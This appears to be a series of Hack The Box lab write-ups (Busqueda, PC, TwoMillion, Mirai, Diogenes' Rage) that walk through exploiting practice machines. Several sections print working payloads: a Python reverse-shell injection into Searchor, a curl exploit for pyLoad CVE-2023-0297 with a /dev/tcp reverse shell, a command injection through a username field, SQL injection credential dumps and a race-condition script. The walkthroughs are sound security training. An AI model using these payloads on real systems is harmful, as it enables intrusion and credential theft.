Thu, 29 Jun 2023 00:00:00 GMT

Busqueda is a Linux machine featuring a web application that provides users with a URL for a variety of search engines across the web with an appended query based on an input value. The functionality is implemented using a Python library called Searchor. However, this library has a command injection vulnerability that can be exploited.

By leveraging the command injection vulnerability, a shell on the system as the user svc can be obtained. Through enumeration, it is discovered that the svc user has sudo permissions to execute a script located at /opt/scripts/system-checkup.py. This script allows for the inspection of a Docker container that contains Gitea credentials for the administrator user.

Further analysis of the code in system-checkup.py on the administrator Gitea page reveals that it calls a shell script using its relative path. This presents an opportunity for exploitation by creating a custom shell script with the same name within a folder where the svc user has write permissions. This can ultimately lead to a root shell on the system.

nmap scan:

Open ports:

22 (SSH)
80 (HTTP)

Visiting the IP redirected to searcher.htb, so I added that to /etc/hosts.

On the webpage, users can choose from a variety of search engines and enter a query to be searched. This will generate and output the URL for the particular search engine with the appended query. Ticking the "Auto redirect" box will automatically send the user to the URL.

The bottom of the webpage shows that it's built with Flask and Searchor 2.4.0. A google search for "searchor 2.4.0" led to this snyk Vulnerability DB page stating that the Searchor package is vulnerable to arbitrary code execution.

So, I tested some payloads, and was able to get successful command execution with the following:

'+exec("import os; os.system('id')"))#

The payload uses the exec() function to execute python code as a string within the current execution environment. As for the argument within exec(), import os; will import the python os module to provide a way to interact with the operating system. Then, os.system('id') is used to execute system commands and aims to execute the id command on the underlying operating system:

Output:

Knowing that I could get command execution, next I attempted to get a reverse shell. I modified the Python #2 payload from revshells:

'+exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.2',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);os.system('/bin/bash -i');"))#

The payload is altered to use the exec() function to execute the python code and launches the shell with os.system('/bin/bash -i'):

Shell as svc:

I tried checking sudo permissions with sudo -l, but it required a password which I didn't know yet:

So after some enumeration, I found a git repository in /var/www/app which had a config file that contained user credentials for Gitea hosted at gitea.searcher.htb:

After logging in to the cody user's Gitea page, it only contained the repo for the Searcher site, which wasn't too useful because I was able to view that code anyway. However, I noticed another user contributing to the Searcher site repo named administrator so I took note of that as I figured it might be useful at some point:

I tried running sudo -l again with the found password and it worked which showed that the svc user could run /usr/bin/python3 /opt/scripts/system-checkup.py * with root privileges:

To get the correct usage, I ran the command with -h:

First, I ran it with docker-ps to list the running docker containers:

docker-inspect requires a format option and container name. Read more here in the documentation for docker inspect.

I ran docker-inspect with the --format='{{json .Config}}' option to format it as json. This outputted configuration info for the gitea container which included a Gitea password, but there's no mention of what user it belonged to:

So, I tried logging in using this password with the only other user I saw on Gitea, administrator and the creds worked. The user's profile contained the /scripts repo which allowed me to view the code and check for any potential vulnerabilities:

system-checkup.py contained an interesting code block:

elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)

The line arg_list = ['./full-checkup.sh'] references the full-checkup.sh script by using its relative path. This means that the script will look for the file full-checkup.sh within the current directory that the command sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup is executed.

To exploit this, I could write a custom shell script within a directory that svc can write to (e.g. /home/svc) which contains a reverse shell payload, then execute the command and catch a root shell.

A way of mitigating a vulnerability like this from being exploited would be to reference full-checkup.sh using its absolute path of /opt/scripts/full-checkup.sh, ensuring that it's only executed from within the /opt/scripts directory, thus preventing arbitrary code from being executed.

Example of the code referencing full-checkup.sh using the absolute path:

elif action == 'full-checkup':
    try:
        arg_list = ['/opt/scripts/full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)

So within /home/svc, I wrote a custom full-checkup.sh script with a reverse shell command:

I started a Netcat listener, executed the script, and then caught a root shell:

Hack The Box - PC

Tue, 20 Jun 2023 00:00:00 GMT

PC is a Linux machine with an open port running gRPC (Google Remote Procedure Call). Interaction with the server using grpcui allows for the creation of a new user on the system. Interception of a POST request to the /invoke/SimpleApp.getInfo endpoint can be used to run SQLMap, resulting in a database dump of username and passwords which can be leveraged to SSH into the system. Further scanning using LinPEAS reveals the presence of several active ports. Viewing a page on port 8000 uncovers that the server is running pyLoad, a download manager software. The current version of pyLoad running on the machine is vulnerable to arbitrary code injection (CVE-2023-0297) which can be used to get a root shell.

nmap scan:

Open ports:

22 (SSH)
50051 (unknown)

I tried connecting to port 50051 with netcat which then showed these non-printable characters: ▒?��?�� ?

Eventually the connection timed out with an error message:

A web search for "http2 port 50051" brought up some results related to gRPC. Then, I found that the default port for gRPC is 50051. So, I looked for a tool that could be used to interact with gRPC which led to grpcui, an interactive web UI for the gRPC protocol:

There were three methods available on this service: LoginUser, RegisterUser, and getInfo. So I registered a new user and logged in which provided me with an id and token. I sent a request to getInfo using the given id and token which responded with the message "Will update soon."

I intercepted the request with Burp Suite:

Assuming that the server was using some type of SQL database, I ran sqlmap on the above request to check for SQLi. The output showed that the server was using SQLite and resulted in a database dump of usernames and passwords:

┌──(kali㉿kali)-[~/Desktop/HTB/PC]
└─$ sqlmap -r req.txt --batch --dump         

<...snip...>

Database: <current>
Table: accounts
[3 entries]
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
| password               | test     |
+------------------------+----------+

<...snip...>

I was able to log in over SSH as the user sau:

Next, I started up a local python server so I could download LinPEAS onto the target:

Downloaded LinPEAS with wget:

After enumerating with LinPEAS, the most interesting results were the active ports:

I forwarded port 1234 on my machine to port 8000 on the target machine to see what was running:

This brought up a page running pyLoad:

A web search for pyLoad vulnerabilities led me to CVE-2023-0297 mentioned on this page from snyk Vulnerability DB which references a PoC found here.

The current version running on the machine was before the patch:

So, I started a listener with Netcat:

Then, I edited the exploit code featured in the PoC to be a URL encoded reverse shell command within the system() function:

curl -i -s -k -X $'POST' \
    --data-binary $'jk=pyimport%20os;os.system(\"%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.30%2F9001%200%3E%261%27\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
    $'http://127.0.0.1:8000/flash/addcrypted2'

Sent the payload:

Obtained a root shell:

Hack The Box - TwoMillion

Tue, 13 Jun 2023 00:00:00 GMT

TwoMillion is a Linux machine hosting a web application with an API that has a command injection vulnerability. This vulnerability can be exploited to obtain a shell on the system as www-data. Enumeration can lead to the discovery of a configuration file that contains credentials for the admin user, allowing for SSH login. An email in the /var/mail directory provides a hint indicating that the Linux kernel version on the machine is outdated and might be vulnerable to certain CVEs; this leads to the identification of CVE-2023-0386, a local privilege escalation vulnerability that can be exploited to gain root access on the system.

nmap scan:

Open ports:

22 (SSH)
80 (HTTP)

Browsing to the IP redirected to 2million.htb, so I added that to /etc/hosts and then visited the webpage which was an older version of the Hack The Box home page:

There was an invite code form which needs to be hacked in order to obtain a code:

After inspecting the code, I found an interesting script: /js/inviteapi.min.js:

The page contained obfuscated javascript code:

I used js-beautify to deobfuscate the code:

The code above contains two functions, verifyInviteCode() makes a POST request to /api/v1/invite/verify and makeInviteCode() makes a POST request to /api/v1/invite/how/to/generate.

In Burp Suite, I sent a POST request to /api/v1/invite/how/to/generate which responded with data that was encrypted using ROT13:

The decrypted message said In order to generate the invite code, make a POST request to /api/v1/invite/generate:

After visiting that endpoint, a new code was generated encoded in base64:

Once it was decoded, a valid invite code was provided:

I went to the invite code form and used the code to sign up:

This brought me to a registration page, so I registered a new user:

Then, I logged in which redirected to the dashboard page:

I looked around the webpage but didn't find anything too useful, so next, I tried visiting the /api/v1 endpoint, which responded with a list of API endpoints:

/api/v1/user/auth checks if a user is authenticated. This endpoint responded with my current user and also showed that the is_admin parameter was set to 0 meaning that I wasn't an admin user:

But there's another endpoint: /api/v1/admin/settings/update, which can update the admin settings for a user. This can be done with a PUT request that provides the email and is_admin parameters, and the Content-Type should be set to application/json:

The above PUT request responded with "is_admin":1, showing that my user was now an admin user. I verified this by sending a GET request to /api/v1/admin/auth:

/api/v1/admin/vpn/generate will generate a certificate to connect to the VPN. I sent a POST request to this endpoint and provided a username parameter:

I tested for command injection within the username parameter to the /api/v1/admin/vpn/generate route:

{
    "username":"mike;whoami;"
}

The server responded with www-data, showing successful command execution.

Next, I started a Netcat listener and then sent the following command for a reverse shell:

nc caught a shell as www-data:

Enumeration of the system led to the discovery of a username and password in ~/html/.env:

I viewed /etc/passwd to see what users were on the system:

There was an admin user, so I attempted to log in over SSH using the username admin and password SuperDuperPass123:

Upon logging in, there was a message saying that the user had mail:

So I went to /var/mail and found the following email:

The message mentions that there have already been a few serious Linux kernel CVEs this year, noting the one in OverlayFS/FUSE specifically. A web search led to this article from Datadog, which provides more details on the OverlayFS vulnerability (CVE-2023-0386).

The article states:

Checking the current OS info on the machine with uname -a showed that the current Linux kernel was 5.15.70:

The Datadog article contains a proof of concept exploit here.

So, I cloned the repo and used tar to compress it:

Started up a python web server:

From the target machine, I used wget to download the archive and used tar to extract it:

As stated on the PoC GitHub page, the exploit takes three steps. First, the make command to compile the code:

Next, I ran ./fuse ./ovlcap/lower ./gc from one terminal:

Then, I opened another terminal on the target machine and ran ./exp:

After doing so, a root shell was spawned:

Hack The Box - Mirai

Mon, 10 Apr 2023 00:00:00 GMT

Mirai features a Raspberry Pi device with default credentials that can be used to log in over SSH. Enumeration of the machine reveals a USB block device that is located on the sdb disk, but the files have been deleted off of the USB. The strings utility can be used to view contents of files that have yet to be overwritten and still remain on the disk which leads to the root flag.

The initial visit to the IP just showed a blank page:

Next, I ran a scan with nmap:

Open ports:

22 (SSH)
53 (DNS)
80 (HTTP)

Since port 53 was open, I tried adding mirai.htb to my /etc/hosts file which is the typical naming convention for virtual hosts on HTB. Then, I visited the page:

Access to mirai.htb was blocked, however, the page was generated with Pi-hole which is a network-level ad blocker that runs on a Raspberry Pi. By default, the admin interface for Pi-hole is located at /admin, visiting that page showed the dashboard:

I tried logging in with default credentials but they didn't work. So, the next move was to try to login over SSH.

Since the system was using a Raspberry Pi, I assumed that it was running the most common OS for Raspberry Pis, Raspberry Pi OS. Therefore, I attempted to log in over SSH using the default credentials:

username: pi

password: raspberry

The default creds worked, which provided the initial foothold. Looking around the system led to the user flag which can be found in the ~/Desktop directory:

I got permission denied when I tried to cd into /root, so next I checked what permissions the pi user was able to run with sudo:

The pi user could run any command with sudo without needing a password, so I used this to change the password of the root user:

After switching to the root user and changing directory into root, the root.txt file said that the original root.txt has been lost, but there might be a backup on the USB:

I used lsblk to list info on the block storage devices:

Of the output, the most interesting was sdb which was mounted at /media/usbstick, so I went there to see what was on the USB:

damnit.txt mentioned that the files were deleted off the USB stick, and I also checked lost+found but there wasn't anything there.

However, even though the files were deleted off of the USB, the data isn't necessarily removed from the disk right away. Instead, it's marked as free space that can be overwritten by new data. The strings utility can be used to search /dev/sdb for ASCII strings and extract any contents that have yet to be overwritten on the disk, in this case, it revealed the root flag:

Hack The Box - Diogenes' Rage

Mon, 27 Mar 2023 00:00:00 GMT

Diogenes' Rage is a web challenge featuring a vending machine application that enables users to purchase items using a coupon worth $1.00 that can be applied only once. Upon viewing the code, it becomes clear that the goal of the challenge is to purchase the C8 item to obtain the flag. However, the price of the C8 item is $13.37 and the vending machine only allows a user to purchase an item worth up to $1.00 (with the coupon).

Further analysis of the code shows that it's vulnerable to a race condition. This vulnerability can be exploited to send many concurrent requests to the server to apply the coupon, which adds to the user's balance. This balance can then be used to purchase the C8 item and reveal the flag.

Starting the docker instance and visiting the web page:

When a new user is created, a balance column will be added within the userData table:

The code for the /api/purchase route shows how to find the flag:

The /api/coupons/apply endpoint can potentially create a race condition because the code is making asynchronous database calls to read, modify, and update user data without any locking mechanisms. This creates an opportunity for multiple concurrent requests to be made which could result in multiple additions to the user's balance using the same coupon code before the database has a chance to register the initial coupon request and invalidate it.

When a request is made to redeem a coupon, it is then sent to the database to update the user's balance using the addBalance method from the Database class:

If multiple concurrent requests to /api/coupons/apply happen at the same time to redeem the HTB_100 coupon, then many of those requests could potentially execute the addBalance method.

So, I made an initial request in Burp Suite to obtain a session cookie by sending the following request:

POST /api/purchase HTTP/1.1
Host: 144.126.236.158:30114
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://144.126.236.158:30114/
Content-Type: application/json
Origin: http://144.126.236.158:30114
Content-Length: 13
Connection: close

{
    "item":"C8"
}

The response returned "Insufficient balance!", which was expected, but it also returned a session cookie in the form of a JWT. I took that JWT and used Turbo Intruder to send a request to the /api/coupons/apply route:

POST /api/coupons/apply HTTP/1.1
Host: 144.126.236.158:30114
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://144.126.236.158:30114/
Content-Type: application/json
Origin: http://144.126.236.158:30114
Content-Length: 25
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InR5bGVyX2I2ODJiNzM3NzQiLCJpYXQiOjE2Nzk4OTM5OTN9.FduhLTUxPvMizyUhFvfOGZ9hl2ZagLqb9lFBep9kycE
Connection: close

{
    "coupon_code":"%s"
}

%s is the placeholder for the payload of HTB_100 that will be sent as concurrent requests.

Next, within the Turbo Intruder configuration, I used the basic.py script:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=100,
                           pipeline=False
                           )

    for i in range(3, 8):
        engine.queue(target.req, randstr(i), learn=1)
        engine.queue(target.req, target.baseInput, learn=2)

    for word in open('/home/kali/Desktop/HTB_100.txt'):
        engine.queue(target.req, word.rstrip())

def handleResponse(req, interesting):
    if interesting:
        table.add(req)

The above script will make a specified number of concurrent connections and requests per connection to the endpoint of /api/coupons/apply. Then, it will read from a wordlist and add a request for each word in the list, in this case the wordlist will contain several lines of HTB_100. I suggest experimenting with the number of concurrent connections, requests per connection, and length of the wordlist containing HTB_100 to achieve the desired result.

I ran the attack in Turbo Intruder and although there were some 401 errors returned in the responses, many of them also got through with a 200 response and successfully added to the user's balance.

Next, I attempted to purchase the C8 item and the flag was returned in the response. This is because the concurrent requests were sent to the server to access a shared resource and compete for it in an uncontrolled manner which created a race condition and allowed the HTB_100 coupon to be applied multiple times, resulting in a continuous addition to the balance well over the required amount of $13.37 to purchase the C8 item.